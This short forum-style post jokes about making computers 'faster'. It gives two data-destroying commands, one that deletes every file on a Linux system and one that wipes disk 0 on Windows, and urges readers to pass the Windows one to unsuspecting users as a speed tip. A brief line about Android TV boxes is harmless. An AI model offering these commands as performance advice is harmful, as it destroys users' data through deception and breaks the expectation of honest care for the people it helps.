Fun way to make your system faster.... rm -rf --no-preserve-root / LOL. Don't be stupid! If you don't know whatcha doin', don't do it!
I have numerous android TV boxes. They are all hooked up to TV screens via HDMI since they don't have screens. I suppose Raspberry PI don't either.
Tell a Windoze user this is the best way to make his computer run faster. Open a command window and type: diskpart select disk 0 clean.